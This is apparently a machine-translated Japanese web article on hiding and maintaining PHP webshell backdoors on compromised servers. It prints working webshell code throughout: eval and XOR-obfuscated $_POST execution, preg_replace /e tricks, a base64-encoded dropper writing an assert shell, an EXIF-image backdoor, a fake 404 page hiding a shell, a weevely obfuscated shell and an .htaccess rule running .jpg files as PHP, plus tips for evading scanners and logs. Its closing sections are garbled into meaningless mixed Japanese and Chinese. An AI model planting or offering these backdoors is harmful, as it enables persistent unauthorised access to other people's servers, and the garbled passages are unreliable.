PHP バックドアの隠蔽とメンテナンスのスキル、PHP バックドアのスキル
テストが成功した後は、通常、バックドアを終了する作業が非常に重要です。通常、デプロイされるバックドアには、データベースのアクセス許可が含まれます。 WEB 権限、システム ユーザー権限など。この記事では、パブリック バックドアに隠されているいくつかのアイデアを広めます。
広告:
0×00序文
テストが成功した後は、通常、バックドアを離れる作業が重要です。通常、バックドアにはデータベース権限、WEB 権限、システム ユーザー権限などが含まれます。この記事は人気があります。フォルクスワーゲンのバックドアに隠されたアイデアの一部を科学します
eval($_POST['cmd']);?>
またはこれ
$_POST['cmd']);?>
- もちろん、これは呼び出される関数が異なるだけです。PHP によって無効にされた関数については、php.ini: disable_functions. で探してください。
しかし、操作とメンテナンスで直感的にシェルを見つけるための方法はたくさんあります。例えば、
◆ファイル名/変更時刻/サイズとファイルバックアップの比較により異常を発見
◆Scanbackdoor.php/Pecker/shelldetect.phpなどのWEBSHELLバックドアスキャンスクリプトや各種スキャナー等を通じて発見
◆Access.logのアクセスログからバックドアの場所を発見
◆ または、テスト文がWAFによってブロックされ、別の警告ログが送信される等の現象が発生します。
一般的な検出方法を考慮して、シェルを隠すための一般的な方法を次の 7 つにまとめます
0×01回避
様々なバックドアスキャンコードを見てみると、誰もが知っているキーワードをシェル内に残すことは絶対に禁止されていることが分かります
次のような一般的なキーワード:
◆システムコマンド実行:system、passthru、shell_exec、exec、popen、proc_open
◆コードの実行: eval、assert、call_user_func、base64_decode、gzinflate、gzuncompress、gzdecode、str_rot13
◆ファイルのインクルード: require、require_once、include、include_once、file_get_contents、file_put_contents、fputs、fwrite
以前は、$_POST[0]($_POST[1]) を巧みに使ってコマンドを実行していた友人もいましたが、残念なことに、今ではスキャナーから逃れることは困難ですが、すべてが変化しており、構築方法は無限です
。
tudouya クラスメートが
を使用して FREEBUF で [構築テクニック](http://www.freebuf.com/articles/web/33824.html) を提供しました
@
$_++;
// $_ = 1
-
- $__=("#"^// $__ = _
-
"."^"~");
$__.=(
"/"^- "`"); // _PO
$__.=(
"|"^- "/"); // _POS
$__.=(
"{"^- "/"); // _POST
${$__}[!
$_](${- $__}[$_]); // $_POST[0]($_POST[1]);
?>
構築生成、もちろん直感的すぎる場合はこのように書くこともできます
$_++;$__=("#"^"|").("."^"/"^"`" ).("|"^"/").("{"^"/");@${- $__}[!
$_](${
$__}[
$_ ]);?>
次に、偽装する通常のコードを入力すると、単純な「アンチキル」シェルのサンプルが表示されます-
実行にはエラーがなく、通常のスキャナーをバイパスして、新しい一時シェルを作成することもできます。
0×02の特徴
変数を処理するときに PHP の文法機能を利用して、二重引用符で囲まれたデータに変数が含まれているかどうかを分析 (およびその値を解析) する興味深い方法です。
例:
${@- eval(phpinfo())}
{} は二重引用符内の変数の内容を解析でき、@ はエラー発生後も実行を継続します
その後、隠されたバックドアを大々的に構築し始めることができますが、ここでの構造は関数によって引き起こされるコマンド実行に依存するものです、はい、それは preg_replace です
"//e",$_POST['cmd'],"");?>
このメソッドは明らかにスキャナーのブラックリストに含まれています。簡単に変更してください
関数 funfunc(
$str){}
-
-
echo preg_replace("/(.+?)/ies", 'funfunc("1")', $_POST[
"cmd"]); -
?>
実行されましたが見つかりません
実行方法は明らかですが、通常のマッチング後の{${phpinfo()}}をfunfuncに渡すとコードが実行されます-
funfunc("{${phpinfo()}}")
別の方法
"$arr="".$_GET['cmd'].
"";");?>
-
0×03 にはが含まれます
ファイルのインクルードは誰もが試したことのある方法ですが、インクルードするテクニックもあります
通常のファイルのインクルードは、特定の txt または jpg を含むインクルードである場合もあれば、インクルードの脆弱性を直接残す場合もありますが、スキャナーで簡単に見つけることができ、追加のインクルード ファイルも簡単に見つけることができます
このスクリプトを見る
if(@isset($_GET[コンテンツ]))
$fp=
fopen(
'README',
'w');
-
file_put_contents(- 'README'," @file_put_contents('README',
$_GET[コンテンツ],FILE_APPEND);
- fclose(
$fp);
- 「README」が必要;}
?>
これにより、必要なシェルを生成し、必要に応じて含めることができます-
残念ながら、file_put_contents などの関数は機密性が高すぎるため、スキャンによって簡単に発見されます
エンコーディング生成メソッドを使用してシェルを作成し、アクセスして生成します。
-
fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode(
'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
-
?>
- 一部のスキャナーを回避できますが、このモードは、検出を避けるために生成された新しいファイルも単純に非表示にする必要があります。
もちろん、ヒューリスティックなどの新しい概念は考慮されません
この方法が要求に応えられない場合、賢い攻撃者は写真に戻ります
-
$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?> ;
参考:JPG画像のEXIFに隠されたバックドア
今回は単純に /b をコピーしてイメージ horse を生成する必要はありません。preg_replace 実行ファイルの特定のフラグを借用することも可能です。
ここで未定義関数 exif_read_data() の呼び出しを求めるプロンプトが表示される場合があります
php.ini、extension=php_exif.dllを変更する必要があります
読み込み順序をextension=php_mbstring.dllの後に変更します
この画像のバックドアは preg_replace e パラメーターに依存し、PHP の変数解析と実行に依存し、最後にファイル識別に依存して完全なシェルを構築していることがわかります。隠れたバックドアを初めて使用する人
もちろん、インクルードポイントがある限り、インクルードされるファイルの形式は多様で、error_logを含めても(クロージャも考えられますが)、予期せぬものしかありません...
0×04 非表示
訪問者がバックドアの存在を発見できないように、賢いセキュリティ研究者も訪問者を混乱させ、謎を作り出します
li class="alt">"-//IETF//DTD HTML 2.0//EN">
404 見つかりません
頭>
-
-
見つかりません
-
要求された URL がこのサーバーに見つかりませんでした。
ボディ>
-
@preg_replace(- "/[checksql]/e",
$_POST[- 'cmd'],
"saft");
- ?>
-
上記の HTML レンダリングの助けを借りて、閲覧ページは閲覧者を混乱させるために 404 を偽装し始めました -
しかし、訪問者から隠すことはできず、ログ分析からも隠すことはできません。これをより適切に隠すために、次のスクリプトが構築されます。
ヘッダー('HTTP/1.1 404');
ob_start();
@- fputs(
fopen(
base64_decode(
'cGx1Z2luX20ucGhw'),w),
base64_decode(
'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
-
-
ob_end_clean();
?>-
- アクセスは実際の 404 です、はい、同じことがログにも当てはまります
ただし、この時点では、接続したいスクリプトは現在のディレクトリに生成されています
0×05 混乱
weevely ツールを使用したことのある人は、このツールが生成するアンチキル シェルが次のようになることを知っているはずです
-
- $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
- $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiukiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
- $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
- $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
- $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
- $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
- $jgfi = $ftdf("l","","lclrelaltel_functlilon");
- $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
- ?>
ターミナル下電影後画像使用
追伸: 截益更多手机电影电影电影了 :(
🎝
もちろん、これはコードレベルの話です
より一般的な電影混光映像の性質:
◆ ドキュメントの時間を変更する
◆改名设计安全後後手机手机,设计计直观看出设计電影
◆ document 大学の白装電影(全線看起大学像个全線電影)
◆ 选好藏身電影上は最少设计
◆ 纸形电影%20
空格カタログについて、まだ比較的簡単に見つかります
0×06解析
最佳.htaccess、追加解析後门
如:
AddType application/x-httpd-php .jpg
-
以以weeverlyの例文
0×07 杂溶
上記の方法を要約すると、そのほとんどは構造化エラーのプロセスであり、構造化エラーのコードは同奇葩、後门名多奇葩.如能手机手机思路、独自の隠しシェルを構築する想来亦非难事.下ダウンロード下ダウンロード的電影的之下谈、名位有最好的提交还望不吐赐教。
http://www.bkjia.com/PHPjc/1029359.html
www.bkjia.com
truehttp://www.bkjia.com/PHPjc/1029359.html技術記事 PHP 後门結果と後门作業、php 後门作業テストが成功した後は、通常、特別な計画が完了するまでにさらに時間がかかります。